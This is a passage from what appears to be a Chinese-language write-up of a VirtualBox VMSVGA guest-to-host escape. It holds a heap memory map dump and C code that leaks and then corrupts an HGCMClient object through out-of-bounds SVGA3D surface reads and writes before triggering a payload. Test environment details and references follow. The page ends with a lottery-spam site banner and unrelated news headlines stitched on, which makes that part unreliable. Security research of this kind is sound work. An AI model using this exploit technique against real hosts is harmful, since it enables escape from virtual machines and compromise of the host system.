    MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16b400000-00007ff16b800000 [ 4096K 2464K 2464K 1632K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 6592K 6592K 1828K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff16c06e000-00007ff16d000000 [ 15.6M 14.0M 14.0M 1440K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000
    MALLOC_SMALL 00007ff16d000000-00007ff16d800000 [ 8192K 5608K 5608K 2312K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16d800000-00007ff16da00000 [ 2048K 864K 864K 1184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 24K 24K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 940K 940K 84K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 988K 988K 36K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000
    MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000
    MALLOC_TINY 00007ff170400000-00007ff170500000 [ 1024K 1024K 1024K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000
    MALLOC_TINY 00007ff170500000-00007ff170800000 [ 3072K 3072K 3072K 0K] rw-/rwx SM=COW DefaultMallocZone_0x10
    定位并重写HGCMClient对象
    一旦堆喷射完成,将会从SVGA3D_MAX_SURFACE_IDS – 1开始,越界读取与表面相关的泄露内存。如果找到任何HGCMClient,就会停止搜索,否则将会继续。
    /*泄露内存*/
    for (int i = SVGA3D_MAX_SURFACE_IDS - 1; i >= 0; i--) {
    access_memory(i, SVGA3D_READ_HOST_VRAM, memory, 0x1000);
    rv = find_hgcm_client(memory, 0x1000, &details);
    if (rv == 0) {
    surface_id = i;
    break;
    }
    }
    在找到客户端对象后,我们通过泄露其“pSelf”指针来了解对象的位置。对象的vtable是一个指向VBoxC.dylib的指针。上述二者都不会受到ASLR机制的影响。随后,我们使用搜索期间找到的表面ID,对其进行越界写入,从而破坏对象。
    access_memory(surface_id, SVGA3D_WRITE_HOST_VRAM, memory, 0x1000);

    Finally, use HGCM disconnect to use the corrupted HGCMClient as below:

    warnx("[+] Triggering payload...");
    disconnect_client(details.key);
    环境
    · Guest环境:Ubuntu Server 16.04.5 64位,启用单个vCPU和VMSVGA。
    · Host环境:macOS High Sierra 10.13.6。 请注意,macOS Mojave不支持较旧版本的VirtualBox。
    · VirtualBox:5.1.22 r115126版本
    演示视频
    参考文献
    [1] VMware托管I/O架构上的GPU虚拟化
    https://www.usenix.org/legacy/event/wiov08/tech/full_papers/dowty/dowty.pdf
    [2] VMware SVGA设备接口和编程模型
    https://sourceforge.net/p/vmware-svga/git/ci/master/tree/doc/svga_interface.txt
    [3] CLOUDBURST – Vmware Guest到Host逃逸的故事
    https://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf
    [4] 通过硬件仿真攻击虚拟机管理程序
    https://www.troopers.de/downloads/troopers17/TR17_Attacking_hypervisor_through_hardwear_emulation.pdf
    [5] VBoxManage
    https://www.virtualbox.org/manual/ch08.html
    [6] Oracle重要补丁更新公告 – 2015年1月
    https://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html
    [7] Oracle重要补丁更新公告 – 2017年7月
    https://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html
    [8] Oracle重要补丁更新公告 – 2017年10月
    https://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
    [9] Heapple Pie – macOS/iOS中的默认堆
    https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf
    [10] OS X堆漏洞利用
    https://github.com/blankwall/MacHeap
    [11] 思考在VirtualBox之外
    https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
    上一篇:CVE引发的欺骗
    下一篇:那些年让我们心惊胆战的IIS漏洞
    相关文章
    图文推荐

    关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 神奇公式秒杀全国11选5

    版权所有: 神奇公式秒杀全国11选5--致力于做实用的IT技术学习网站

  • 我相信“交警雨中护送高考生”是真,“交警雨中护送高考生”反被该高考生家长投诉是假。 2019-04-16
  • 14名消防员日巡逻28公里 洗冷水澡 2019-04-10
  • 靶壕有了“蓝军”,百发百中的“神枪手”练起来 2019-04-10
  • 不是秀强大了,别人就会来做朋友,这逻辑不对 2019-04-01
  • 候选企业:中国石油呼和浩特石化公司 2019-03-26
  • 航天员沙漠野外生存训练完美收官!为第一天团打call 2019-03-25
  • 请问,建立市场经济后,原计划经济哪里去?改革后,我们还在实行计划经济,为何没有提及? 2019-03-25
  • 构建年轻干部梯次培养链 2019-03-19
  • 孙实的专栏作者中国国家地理网 2019-03-15
  • 湖南师范大学举行研究阐释党的十九大精神国家社科基金重大专项学术研讨会 2019-03-15
  • [雷人]蠢货!土地处于不同的城市和地段,关联的资源不一样,价值也不一样。不然给咱俩同样面积的土地,咱的在北上广深,你的在边远山区,你干么? 2019-03-08
  • 国际社会持续热议上合青岛峰会:上合组织发展进入新阶段 彰显中国领导力 2019-03-08
  • 珍惜野生动物频现甘孜境内 生态环境质量不断提升 2019-03-06
  • "新经济形势下金融创新的变革与机遇"论坛 2019-03-06